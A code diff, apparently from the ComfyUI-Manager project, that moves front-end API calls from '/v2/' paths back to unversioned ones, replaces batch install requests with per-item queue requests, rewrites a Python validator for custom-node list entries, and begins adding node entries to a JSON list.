createPackListCombo() {
|
||||
let combo = document.createElement("select");
|
||||
combo.className = "cb-widget";
|
||||
let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
|
||||
|
||||
combo.appendChild($el('option', default_packname_option, []));
|
||||
for(let name in pack_map) {
|
||||
combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
|
||||
}
|
||||
|
||||
let self = this;
|
||||
combo.onchange = function () {
|
||||
if(combo.selectedIndex == 0) {
|
||||
self.manual_packname.disabled = false;
|
||||
}
|
||||
else {
|
||||
self.manual_packname.disabled = true;
|
||||
}
|
||||
};
|
||||
|
||||
return combo;
|
||||
}
|
||||
}
|
||||
|
||||
let orig_handleFile = app.handleFile;
|
||||
|
||||
async function handleFile(file) {
|
||||
if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
|
||||
const reader = new FileReader();
|
||||
reader.onload = async () => {
|
||||
let is_component = false;
|
||||
const jsonContent = JSON.parse(reader.result);
|
||||
for(let name in jsonContent) {
|
||||
let cand = jsonContent[name];
|
||||
is_component = cand.datetime && cand.version;
|
||||
break;
|
||||
}
|
||||
|
||||
if(is_component) {
|
||||
await handle_import_components(jsonContent);
|
||||
}
|
||||
else {
|
||||
orig_handleFile.call(app, file);
|
||||
}
|
||||
};
|
||||
reader.readAsText(file);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
orig_handleFile.call(app, file);
|
||||
}
|
||||
|
||||
app.handleFile = handleFile;
|
||||
|
||||
let current_component_policy = 'workflow';
|
||||
try {
|
||||
api.fetchApi('/manager/policy/component')
|
||||
.then(response => response.text())
|
||||
.then(data => { current_component_policy = data; });
|
||||
}
|
||||
catch {}
|
||||
|
||||
function getChangedVersion(groupNodes) {
|
||||
if(!Object.keys(pack_map).length || !groupNodes)
|
||||
return null;
|
||||
|
||||
let res = {};
|
||||
for(let component_name in groupNodes) {
|
||||
let data = groupNodes[component_name];
|
||||
|
||||
if(rpack_map[component_name]) {
|
||||
let v = versionCompare(data.version, rpack_map[component_name].version);
|
||||
res[component_name] = v;
|
||||
}
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
const loadGraphData = app.loadGraphData;
|
||||
app.loadGraphData = async function () {
|
||||
if(arguments.length == 0)
|
||||
return await loadGraphData.apply(this, arguments);
|
||||
|
||||
let graphData = arguments[0];
|
||||
let groupNodes = graphData.extra?.groupNodes;
|
||||
let res = getChangedVersion(groupNodes);
|
||||
|
||||
if(res) {
|
||||
let target_components = null;
|
||||
switch(current_component_policy) {
|
||||
case 'higher':
|
||||
target_components = Object.keys(res).filter(key => res[key] == 1);
|
||||
break;
|
||||
|
||||
case 'mine':
|
||||
target_components = Object.keys(res);
|
||||
break;
|
||||
|
||||
default:
|
||||
// do nothing
|
||||
}
|
||||
|
||||
if(target_components) {
|
||||
for(let i in target_components) {
|
||||
let component_name = target_components[i];
|
||||
let component = rpack_map[component_name];
|
||||
if(component && graphData.extra?.groupNodes) {
|
||||
graphData.extra.groupNodes[component_name] = component;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
console.log('Empty components: policy ignored');
|
||||
}
|
||||
|
||||
arguments[0] = graphData;
|
||||
return await loadGraphData.apply(this, arguments);
|
||||
};
|
||||
|
||||
export function set_component_policy(v) {
|
||||
current_component_policy = v;
|
||||
}
|
||||
|
||||
let graphToPrompt = app.graphToPrompt;
|
||||
app.graphToPrompt = async function () {
|
||||
let p = await graphToPrompt.call(app);
|
||||
try {
|
||||
let groupNodes = p.workflow.extra?.groupNodes;
|
||||
if(groupNodes) {
|
||||
p.workflow.extra = { ... p.workflow.extra};
|
||||
|
||||
// get used group nodes
|
||||
let used_group_nodes = new Set();
|
||||
for(let node of p.workflow.nodes) {
|
||||
if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
|
||||
used_group_nodes.add(node.type.substring(9));
|
||||
}
|
||||
}
|
||||
|
||||
// remove unused group nodes
|
||||
let new_groupNodes = {};
|
||||
for (let key in p.workflow.extra.groupNodes) {
|
||||
if (used_group_nodes.has(key)) {
|
||||
new_groupNodes[key] = p.workflow.extra.groupNodes[key];
|
||||
}
|
||||
}
|
||||
p.workflow.extra.groupNodes = new_groupNodes;
|
||||
}
|
||||
}
|
||||
catch(e) {
|
||||
console.log(`Failed to filtering group nodes: ${e}`);
|
||||
}
|
||||
|
||||
return p;
|
||||
}
|
||||
@@ -8,7 +8,7 @@ import {
|
||||
fetchData, md5, icons, show_message, customConfirm, customAlert, customPrompt,
|
||||
sanitizeHTML, infoToast, showTerminal, setNeedRestart,
|
||||
storeColumnWidth, restoreColumnWidth, getTimeAgo, copyText, loadCss,
|
||||
showPopover, hidePopover, generateUUID
|
||||
showPopover, hidePopover, handle403Response
|
||||
} from "./common.js";
|
||||
|
||||
// https://cenfun.github.io/turbogrid/api.html
|
||||
@@ -54,7 +54,7 @@ export class CustomNodesManager {
|
||||
this.id = "cn-manager";
|
||||
|
||||
app.registerExtension({
|
||||
name: "Comfy.Legacy.CustomNodesManager",
|
||||
name: "Comfy.CustomNodesManager",
|
||||
afterConfigureGraph: (missingNodeTypes) => {
|
||||
const item = this.getFilterItem(ShowMode.MISSING);
|
||||
if (item) {
|
||||
@@ -462,7 +462,7 @@ export class CustomNodesManager {
|
||||
|
||||
".cn-manager-stop": {
|
||||
click: () => {
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
api.fetchApi('/manager/queue/reset');
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
},
|
||||
@@ -638,7 +638,7 @@ export class CustomNodesManager {
|
||||
};
|
||||
}
|
||||
|
||||
const response = await api.fetchApi(`/v2/customnode/import_fail_info`, {
|
||||
const response = await api.fetchApi(`/customnode/import_fail_info`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(info)
|
||||
@@ -1246,7 +1246,7 @@ export class CustomNodesManager {
|
||||
async loadNodes(node_packs) {
|
||||
const mode = manager_instance.datasrc_combo.value;
|
||||
this.showStatus(`Loading node mappings (${mode}) ...`);
|
||||
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
|
||||
const res = await fetchData(`/customnode/getmappings?mode=${mode}`);
|
||||
if (res.error) {
|
||||
console.log(res.error);
|
||||
return;
|
||||
@@ -1398,10 +1398,10 @@ export class CustomNodesManager {
|
||||
this.showLoading();
|
||||
let res;
|
||||
if(is_enable) {
|
||||
res = await api.fetchApi(`/v2/customnode/disabled_versions/${node_id}`, { cache: "no-store" });
|
||||
res = await api.fetchApi(`/customnode/disabled_versions/${node_id}`, { cache: "no-store" });
|
||||
}
|
||||
else {
|
||||
res = await api.fetchApi(`/v2/customnode/versions/${node_id}`, { cache: "no-store" });
|
||||
res = await api.fetchApi(`/customnode/versions/${node_id}`, { cache: "no-store" });
|
||||
}
|
||||
this.hideLoading();
|
||||
|
||||
@@ -1443,6 +1443,13 @@ export class CustomNodesManager {
|
||||
}
|
||||
|
||||
async installNodes(list, btn, title, selected_version) {
|
||||
let stats = await api.fetchApi('/manager/queue/status');
|
||||
stats = await stats.json();
|
||||
if(stats.is_processing) {
|
||||
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
|
||||
return;
|
||||
}
|
||||
|
||||
const { target, label, mode} = btn;
|
||||
|
||||
if(mode === "uninstall") {
|
||||
@@ -1469,9 +1476,9 @@ export class CustomNodesManager {
|
||||
let needRestart = false;
|
||||
let errorMsg = "";
|
||||
|
||||
let target_items = [];
|
||||
await api.fetchApi('/manager/queue/reset');
|
||||
|
||||
let batch = {};
|
||||
let target_items = [];
|
||||
|
||||
for (const hash of list) {
|
||||
const item = this.grid.getRowItemBy("hash", hash);
|
||||
@@ -1514,11 +1521,32 @@ export class CustomNodesManager {
|
||||
api_mode = 'reinstall';
|
||||
}
|
||||
|
||||
if(batch[api_mode]) {
|
||||
batch[api_mode].push(data);
|
||||
}
|
||||
else {
|
||||
batch[api_mode] = [data];
|
||||
const res = await api.fetchApi(`/manager/queue/${api_mode}`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(data)
|
||||
});
|
||||
|
||||
if (res.status != 200) {
|
||||
errorMsg = `'${item.title}': `;
|
||||
|
||||
if(res.status == 403) {
|
||||
try {
|
||||
const data = await res.json();
|
||||
if(data.error === 'comfyui_outdated') {
|
||||
errorMsg += `ComfyUI version is outdated. Please update ComfyUI to use Manager normally.\n`;
|
||||
} else {
|
||||
errorMsg += `This action is not allowed with this security level configuration.\n`;
|
||||
}
|
||||
} catch {
|
||||
errorMsg += `This action is not allowed with this security level configuration.\n`;
|
||||
}
|
||||
} else if(res.status == 404) {
|
||||
errorMsg += `With the current security level configuration, only custom nodes from the <B>"default channel"</B> can be installed.\n`;
|
||||
} else {
|
||||
errorMsg += await res.text() + '\n';
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1535,24 +1563,7 @@ export class CustomNodesManager {
|
||||
}
|
||||
}
|
||||
else {
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
|
||||
let failed = await res.json();
|
||||
|
||||
if(failed.length > 0) {
|
||||
for(let k in failed) {
|
||||
let hash = failed[k];
|
||||
const item = this.grid.getRowItemBy("hash", hash);
|
||||
errorMsg = `[FAIL] ${item.title}`;
|
||||
}
|
||||
}
|
||||
|
||||
await api.fetchApi('/manager/queue/start');
|
||||
this.showStop();
|
||||
showTerminal();
|
||||
}
|
||||
@@ -1560,9 +1571,6 @@ export class CustomNodesManager {
|
||||
|
||||
async onQueueStatus(event) {
|
||||
let self = CustomNodesManager.instance;
|
||||
// If legacy manager front is not open, return early (using new manager front)
|
||||
if (self.element?.style.display === 'none') return
|
||||
|
||||
if(event.detail.status == 'in_progress' && event.detail.ui_target == 'nodepack_manager') {
|
||||
const hash = event.detail.target;
|
||||
|
||||
@@ -1573,7 +1581,7 @@ export class CustomNodesManager {
|
||||
self.grid.updateCell(item, "action");
|
||||
self.grid.setRowSelected(item, false);
|
||||
}
|
||||
else if(event.detail.status == 'batch-done' && event.detail.batch_id == self.batch_id) {
|
||||
else if(event.detail.status == 'done') {
|
||||
self.hideStop();
|
||||
self.onQueueCompleted(event.detail);
|
||||
}
|
||||
@@ -1767,7 +1775,7 @@ export class CustomNodesManager {
|
||||
async getMissingNodesLegacy(hashMap, missing_nodes) {
|
||||
const mode = manager_instance.datasrc_combo.value;
|
||||
this.showStatus(`Loading missing nodes (${mode}) ...`);
|
||||
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
|
||||
const res = await fetchData(`/customnode/getmappings?mode=${mode}`);
|
||||
if (res.error) {
|
||||
this.showError(`Failed to get custom node mappings: ${res.error}`);
|
||||
return;
|
||||
@@ -1882,7 +1890,7 @@ export class CustomNodesManager {
|
||||
async getAlternatives() {
|
||||
const mode = manager_instance.datasrc_combo.value;
|
||||
this.showStatus(`Loading alternatives (${mode}) ...`);
|
||||
const res = await fetchData(`/v2/customnode/alternatives?mode=${mode}`);
|
||||
const res = await fetchData(`/customnode/alternatives?mode=${mode}`);
|
||||
if (res.error) {
|
||||
this.showError(`Failed to get alternatives: ${res.error}`);
|
||||
return [];
|
||||
@@ -1930,7 +1938,7 @@ export class CustomNodesManager {
|
||||
infoToast('Fetching updated information. This may take some time if many custom nodes are installed.');
|
||||
}
|
||||
|
||||
const res = await fetchData(`/v2/customnode/getlist?mode=${mode}${skip_update}`);
|
||||
const res = await fetchData(`/customnode/getlist?mode=${mode}${skip_update}`);
|
||||
if (res.error) {
|
||||
this.showError("Failed to get custom node list.");
|
||||
this.hideLoading();
|
||||
@@ -1,9 +1,9 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { $el } from "../../scripts/ui.js";
|
||||
import {
|
||||
manager_instance, rebootAPI,
|
||||
import {
|
||||
manager_instance, rebootAPI,
|
||||
fetchData, md5, icons, show_message, customAlert, infoToast, showTerminal,
|
||||
storeColumnWidth, restoreColumnWidth, loadCss, generateUUID
|
||||
storeColumnWidth, restoreColumnWidth, loadCss, handle403Response
|
||||
} from "./common.js";
|
||||
import { api } from "../../scripts/api.js";
|
||||
|
||||
@@ -170,7 +170,7 @@ export class ModelManager {
|
||||
|
||||
".cmm-manager-stop": {
|
||||
click: () => {
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
api.fetchApi('/manager/queue/reset');
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
},
|
||||
@@ -430,15 +430,23 @@ export class ModelManager {
|
||||
}
|
||||
|
||||
async installModels(list, btn) {
|
||||
let stats = await api.fetchApi('/manager/queue/status');
|
||||
|
||||
stats = await stats.json();
|
||||
if(stats.is_processing) {
|
||||
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
|
||||
return;
|
||||
}
|
||||
|
||||
btn.classList.add("cmm-btn-loading");
|
||||
this.showError("");
|
||||
|
||||
let needRefresh = false;
|
||||
let errorMsg = "";
|
||||
|
||||
let target_items = [];
|
||||
await api.fetchApi('/manager/queue/reset');
|
||||
|
||||
let batch = {};
|
||||
let target_items = [];
|
||||
|
||||
for (const item of list) {
|
||||
this.grid.scrollRowIntoView(item);
|
||||
@@ -455,12 +463,30 @@ export class ModelManager {
|
||||
const data = item.originalData;
|
||||
data.ui_id = item.hash;
|
||||
|
||||
const res = await api.fetchApi(`/manager/queue/install_model`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(data)
|
||||
});
|
||||
|
||||
if(batch['install_model']) {
|
||||
batch['install_model'].push(data);
|
||||
}
|
||||
else {
|
||||
batch['install_model'] = [data];
|
||||
if (res.status != 200) {
|
||||
errorMsg = `'${item.name}': `;
|
||||
|
||||
if(res.status == 403) {
|
||||
try {
|
||||
const data = await res.json();
|
||||
if(data.error === 'comfyui_outdated') {
|
||||
errorMsg += `ComfyUI version is outdated. Please update ComfyUI to use Manager normally.\n`;
|
||||
} else {
|
||||
errorMsg += `This action is not allowed with this security level configuration.\n`;
|
||||
}
|
||||
} catch {
|
||||
errorMsg += `This action is not allowed with this security level configuration.\n`;
|
||||
}
|
||||
} else {
|
||||
errorMsg += await res.text() + '\n';
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -477,24 +503,7 @@ export class ModelManager {
|
||||
}
|
||||
}
|
||||
else {
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
|
||||
let failed = await res.json();
|
||||
|
||||
if(failed.length > 0) {
|
||||
for(let k in failed) {
|
||||
let hash = failed[k];
|
||||
const item = self.grid.getRowItemBy("hash", hash);
|
||||
errorMsg = `[FAIL] ${item.title}`;
|
||||
}
|
||||
}
|
||||
|
||||
await api.fetchApi('/manager/queue/start');
|
||||
this.showStop();
|
||||
showTerminal();
|
||||
}
|
||||
@@ -514,7 +523,7 @@ export class ModelManager {
|
||||
// self.grid.updateCell(item, "tg-column-select");
|
||||
self.grid.updateRow(item);
|
||||
}
|
||||
else if(event.detail.status == 'batch-done') {
|
||||
else if(event.detail.status == 'done') {
|
||||
self.hideStop();
|
||||
self.onQueueCompleted(event.detail);
|
||||
}
|
||||
@@ -640,7 +649,7 @@ export class ModelManager {
|
||||
|
||||
const mode = manager_instance.datasrc_combo.value;
|
||||
|
||||
const res = await fetchData(`/v2/externalmodel/getlist?mode=${mode}`);
|
||||
const res = await fetchData(`/externalmodel/getlist?mode=${mode}`);
|
||||
if (res.error) {
|
||||
this.showError("Failed to get external model list.");
|
||||
this.hideLoading();
|
||||
@@ -142,7 +142,7 @@ function node_info_copy(src, dest, connect_both, copy_shape) {
|
||||
}
|
||||
|
||||
app.registerExtension({
|
||||
name: "Comfy.Legacy.Manager.NodeFixer",
|
||||
name: "Comfy.Manager.NodeFixer",
|
||||
beforeRegisterNodeDef(nodeType, nodeData, app) {
|
||||
addMenuHandler(nodeType, function (_, options) {
|
||||
options.push({
|
||||
@@ -1,7 +1,7 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { api } from "../../scripts/api.js"
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
import { manager_instance, rebootAPI, show_message, loadCss } from "./common.js";
|
||||
import { manager_instance, rebootAPI, show_message, handle403Response, loadCss } from "./common.js";
|
||||
import { buildGuiFrame } from "./comfyui-gui-builder.js";
|
||||
|
||||
loadCss("./snapshot.css");
|
||||
@@ -9,10 +9,10 @@ loadCss("./snapshot.css");
|
||||
async function restore_snapshot(target) {
|
||||
if(SnapshotManager.instance) {
|
||||
try {
|
||||
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { cache: "no-store" });
|
||||
const response = await api.fetchApi(`/snapshot/restore?target=${target}`, { cache: "no-store" });
|
||||
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
await handle403Response(response);
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -37,10 +37,10 @@ async function restore_snapshot(target) {
|
||||
async function remove_snapshot(target) {
|
||||
if(SnapshotManager.instance) {
|
||||
try {
|
||||
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { cache: "no-store" });
|
||||
const response = await api.fetchApi(`/snapshot/remove?target=${target}`, { cache: "no-store" });
|
||||
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
await handle403Response(response);
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -63,7 +63,7 @@ async function remove_snapshot(target) {
|
||||
|
||||
async function save_current_snapshot() {
|
||||
try {
|
||||
const response = await api.fetchApi('/v2/snapshot/save', { cache: "no-store" });
|
||||
const response = await api.fetchApi('/snapshot/save', { cache: "no-store" });
|
||||
app.ui.dialog.close();
|
||||
return true;
|
||||
}
|
||||
@@ -78,7 +78,7 @@ async function save_current_snapshot() {
|
||||
}
|
||||
|
||||
async function getSnapshotList() {
|
||||
const response = await api.fetchApi(`/v2/snapshot/getlist`);
|
||||
const response = await api.fetchApi(`/snapshot/getlist`);
|
||||
const data = await response.json();
|
||||
return data;
|
||||
}
|
||||
@@ -158,8 +158,8 @@ export class SnapshotManager extends ComfyDialog {
|
||||
if(btn_id) {
|
||||
const rebootButton = document.getElementById(btn_id);
|
||||
const self = this;
|
||||
rebootButton.onclick = function() {
|
||||
if(rebootAPI()) {
|
||||
rebootButton.onclick = async function() {
|
||||
if(await rebootAPI()) {
|
||||
self.close();
|
||||
self.manager_dialog.close();
|
||||
}
|
||||
@@ -38,7 +38,7 @@ class WorkflowMetadataExtension {
|
||||
* enabled is true if the node is enabled, false if it is disabled
|
||||
*/
|
||||
async getInstalledNodes() {
|
||||
const res = await api.fetchApi("/v2/customnode/installed");
|
||||
const res = await api.fetchApi("/customnode/installed");
|
||||
return await res.json();
|
||||
}
|
||||
|
||||
+256
-17
@@ -1,25 +1,264 @@
|
||||
import json
|
||||
import argparse
|
||||
#!/usr/bin/env python3
|
||||
"""JSON Entry Validator
|
||||
|
||||
def check_json_syntax(file_path):
|
||||
Validates JSON entries based on content structure.
|
||||
|
||||
Validation rules based on JSON content:
|
||||
- {"custom_nodes": [...]}: Validates required fields (author, title, reference, files, install_type, description)
|
||||
- {"models": [...]}: Validates JSON syntax only (no required fields)
|
||||
- Other JSON structures: Validates JSON syntax only
|
||||
|
||||
Git repository URL validation (for custom_nodes):
|
||||
1. URLs must NOT end with .git
|
||||
2. URLs must follow format: https://github.com/{author}/{reponame}
|
||||
3. .py and .js files are exempt from this check
|
||||
|
||||
Supported formats:
|
||||
- Array format: [{...}, {...}]
|
||||
- Object format: {"custom_nodes": [...]} or {"models": [...]}
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Tuple
|
||||
|
||||
|
||||
# Required fields for each entry type
|
||||
REQUIRED_FIELDS_CUSTOM_NODE = ['author', 'title', 'reference', 'files', 'install_type', 'description']
|
||||
REQUIRED_FIELDS_MODEL = [] # model-list.json doesn't require field validation
|
||||
|
||||
# Pattern for valid GitHub repository URL (without .git suffix)
|
||||
GITHUB_REPO_PATTERN = re.compile(r'^https://github\.com/[^/]+/[^/]+$')
|
||||
|
||||
|
||||
def get_entry_context(entry: Dict) -> str:
|
||||
"""Get identifying information from entry for error messages
|
||||
|
||||
Args:
|
||||
entry: JSON entry
|
||||
|
||||
Returns:
|
||||
String with author and reference info
|
||||
"""
|
||||
parts = []
|
||||
if 'author' in entry:
|
||||
parts.append(f"author={entry['author']}")
|
||||
if 'reference' in entry:
|
||||
parts.append(f"ref={entry['reference']}")
|
||||
if 'title' in entry:
|
||||
parts.append(f"title={entry['title']}")
|
||||
|
||||
if parts:
|
||||
return " | ".join(parts)
|
||||
else:
|
||||
# No identifying info - show actual entry content (truncated)
|
||||
import json
|
||||
entry_str = json.dumps(entry, ensure_ascii=False)
|
||||
if len(entry_str) > 100:
|
||||
entry_str = entry_str[:100] + "..."
|
||||
return f"content={entry_str}"
|
||||
|
||||
|
||||
def validate_required_fields(entry: Dict, entry_index: int, required_fields: List[str]) -> List[str]:
|
||||
"""Validate that all required fields are present
|
||||
|
||||
Args:
|
||||
entry: JSON entry to validate
|
||||
entry_index: Index of entry in array (for error reporting)
|
||||
required_fields: List of required field names
|
||||
|
||||
Returns:
|
||||
List of error descriptions (without entry prefix/context)
|
||||
"""
|
||||
errors = []
|
||||
|
||||
for field in required_fields:
|
||||
if field not in entry:
|
||||
errors.append(f"Missing required field '{field}'")
|
||||
elif entry[field] is None:
|
||||
errors.append(f"Field '{field}' is null")
|
||||
elif isinstance(entry[field], str) and not entry[field].strip():
|
||||
errors.append(f"Field '{field}' is empty")
|
||||
elif field == 'files' and not entry[field]: # Empty array
|
||||
errors.append("Field 'files' is empty array")
|
||||
|
||||
return errors
|
||||
|
||||
|
||||
def validate_git_repo_urls(entry: Dict, entry_index: int) -> List[str]:
|
||||
"""Validate git repository URLs in 'files' array
|
||||
|
||||
Requirements:
|
||||
- Git repo URLs must NOT end with .git
|
||||
- Must follow format: https://github.com/{author}/{reponame}
|
||||
- .py and .js files are exempt
|
||||
|
||||
Args:
|
||||
entry: JSON entry to validate
|
||||
entry_index: Index of entry in array (for error reporting)
|
||||
|
||||
Returns:
|
||||
List of error descriptions (without entry prefix/context)
|
||||
"""
|
||||
errors = []
|
||||
|
||||
if 'files' not in entry or not isinstance(entry['files'], list):
|
||||
return errors
|
||||
|
||||
for file_url in entry['files']:
|
||||
if not isinstance(file_url, str):
|
||||
continue
|
||||
|
||||
# Skip .py and .js files - they're exempt from git repo validation
|
||||
if file_url.endswith('.py') or file_url.endswith('.js'):
|
||||
continue
|
||||
|
||||
# Check if it's a GitHub URL (likely a git repo)
|
||||
if 'github.com' in file_url:
|
||||
# Error if URL ends with .git
|
||||
if file_url.endswith('.git'):
|
||||
errors.append(f"Git repo URL must NOT end with .git: {file_url}")
|
||||
continue
|
||||
|
||||
# Validate format: https://github.com/{author}/{reponame}
|
||||
if not GITHUB_REPO_PATTERN.match(file_url):
|
||||
errors.append(f"Invalid git repo URL format (expected https://github.com/author/reponame): {file_url}")
|
||||
|
||||
return errors
|
||||
|
||||
|
||||
def validate_entry(entry: Dict, entry_index: int, required_fields: List[str]) -> List[str]:
|
||||
"""Validate a single JSON entry
|
||||
|
||||
Args:
|
||||
entry: JSON entry to validate
|
||||
entry_index: Index of entry in array (for error reporting)
|
||||
required_fields: List of required field names
|
||||
|
||||
Returns:
|
||||
List of error messages (empty if valid)
|
||||
"""
|
||||
errors = []
|
||||
|
||||
# Check required fields
|
||||
errors.extend(validate_required_fields(entry, entry_index, required_fields))
|
||||
|
||||
# Check git repository URLs
|
||||
errors.extend(validate_git_repo_urls(entry, entry_index))
|
||||
|
||||
return errors
|
||||
|
||||
|
||||
def validate_json_file(file_path: str) -> Tuple[bool, List[str]]:
|
||||
"""Validate JSON file containing entries
|
||||
|
||||
Args:
|
||||
file_path: Path to JSON file
|
||||
|
||||
Returns:
|
||||
Tuple of (is_valid, error_messages)
|
||||
"""
|
||||
errors = []
|
||||
|
||||
# Check file exists
|
||||
path = Path(file_path)
|
||||
if not path.exists():
|
||||
return False, [f"File not found: {file_path}"]
|
||||
|
||||
# Load JSON
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as file:
|
||||
json_str = file.read()
|
||||
json.loads(json_str)
|
||||
print(f"[ OK ] {file_path}")
|
||||
except UnicodeDecodeError as e:
|
||||
print(f"Unicode decode error: {e}")
|
||||
with open(path, 'r', encoding='utf-8') as f:
|
||||
data = json.load(f)
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"[FAIL] {file_path}\n\n {e}\n")
|
||||
except FileNotFoundError:
|
||||
print(f"[FAIL] {file_path}\n\n File not found\n")
|
||||
return False, [f"Invalid JSON: {e}"]
|
||||
except Exception as e:
|
||||
return False, [f"Error reading file: {e}"]
|
||||
|
||||
# Determine required fields based on JSON content
|
||||
required_fields = []
|
||||
|
||||
# Validate structure - support both array and object formats
|
||||
entries_to_validate = []
|
||||
|
||||
if isinstance(data, list):
|
||||
# Direct array format: [{...}, {...}]
|
||||
entries_to_validate = data
|
||||
elif isinstance(data, dict):
|
||||
# Object format: {"custom_nodes": [...]} or {"models": [...]}
|
||||
# Determine validation based on keys
|
||||
if 'custom_nodes' in data and isinstance(data['custom_nodes'], list):
|
||||
required_fields = REQUIRED_FIELDS_CUSTOM_NODE
|
||||
entries_to_validate = data['custom_nodes']
|
||||
elif 'models' in data and isinstance(data['models'], list):
|
||||
required_fields = REQUIRED_FIELDS_MODEL
|
||||
entries_to_validate = data['models']
|
||||
else:
|
||||
# Other JSON structures (extension-node-map.json, etc.) - just validate JSON syntax
|
||||
return True, []
|
||||
else:
|
||||
return False, ["JSON root must be either an array or an object containing arrays"]
|
||||
|
||||
# Validate each entry
|
||||
for idx, entry in enumerate(entries_to_validate, start=1):
|
||||
if not isinstance(entry, dict):
|
||||
# Show actual value for type errors
|
||||
entry_str = json.dumps(entry, ensure_ascii=False) if not isinstance(entry, str) else repr(entry)
|
||||
if len(entry_str) > 150:
|
||||
entry_str = entry_str[:150] + "..."
|
||||
errors.append(f"\n❌ Entry #{idx}: Must be an object, got {type(entry).__name__}")
|
||||
errors.append(f" Actual value: {entry_str}")
|
||||
continue
|
||||
|
||||
entry_errors = validate_entry(entry, idx, required_fields)
|
||||
if entry_errors:
|
||||
# Group errors by entry with context
|
||||
context = get_entry_context(entry)
|
||||
errors.append(f"\n❌ Entry #{idx} ({context}):")
|
||||
for error in entry_errors:
|
||||
errors.append(f" - {error}")
|
||||
|
||||
is_valid = len(errors) == 0
|
||||
return is_valid, errors
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="JSON File Syntax Checker")
|
||||
parser.add_argument("file_path", type=str, help="Path to the JSON file for syntax checking")
|
||||
"""Main entry point"""
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python json-checker.py <json-file>")
|
||||
print("\nValidates JSON entries based on content:")
|
||||
print(" - {\"custom_nodes\": [...]}: Validates required fields (author, title, reference, files, install_type, description)")
|
||||
print(" - {\"models\": [...]}: Validates JSON syntax only (no required fields)")
|
||||
print(" - Other JSON structures: Validates JSON syntax only")
|
||||
print("\nGit repo URL validation (for custom_nodes):")
|
||||
print(" - URLs must NOT end with .git")
|
||||
print(" - URLs must follow: https://github.com/{author}/{reponame}")
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
check_json_syntax(args.file_path)
|
||||
file_path = sys.argv[1]
|
||||
|
||||
if __name__ == "__main__":
|
||||
is_valid, errors = validate_json_file(file_path)
|
||||
|
||||
if is_valid:
|
||||
print(f"✅ {file_path}: Validation passed")
|
||||
sys.exit(0)
|
||||
else:
|
||||
print(f"Validating: {file_path}")
|
||||
print("=" * 60)
|
||||
print("❌ Validation failed!\n")
|
||||
print("Errors:")
|
||||
# Count actual errors (lines starting with " -")
|
||||
error_count = sum(1 for e in errors if e.strip().startswith('-'))
|
||||
for error in errors:
|
||||
# Don't add ❌ prefix to grouped entries (they already have it)
|
||||
if error.strip().startswith('❌'):
|
||||
print(error)
|
||||
else:
|
||||
print(error)
|
||||
print(f"\nTotal errors: {error_count}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
@@ -1,5 +1,696 @@
|
||||
{
|
||||
"custom_nodes": [
|
||||
"custom_nodes": [
|
||||
{
|
||||
"author": "love530love",
|
||||
"title": "[WIP] ComfyUI-TorchMonitor",
|
||||
"reference": "https://github.com/love530love/ComfyUI-TorchMonitor",
|
||||
"files": [
|
||||
"https://github.com/love530love/ComfyUI-TorchMonitor"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Fixed-position real-time monitor for ComfyUI displaying CPU, RAM, VRAM, and GPU temperature metrics with zero configuration and single-file installation.\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "Enferlain",
|
||||
"title": "ComfyUI-SamplerCustom-3Decimals",
|
||||
"reference": "https://github.com/Enferlain/ComfyUI-SamplerCustom-3Decimals",
|
||||
"files": [
|
||||
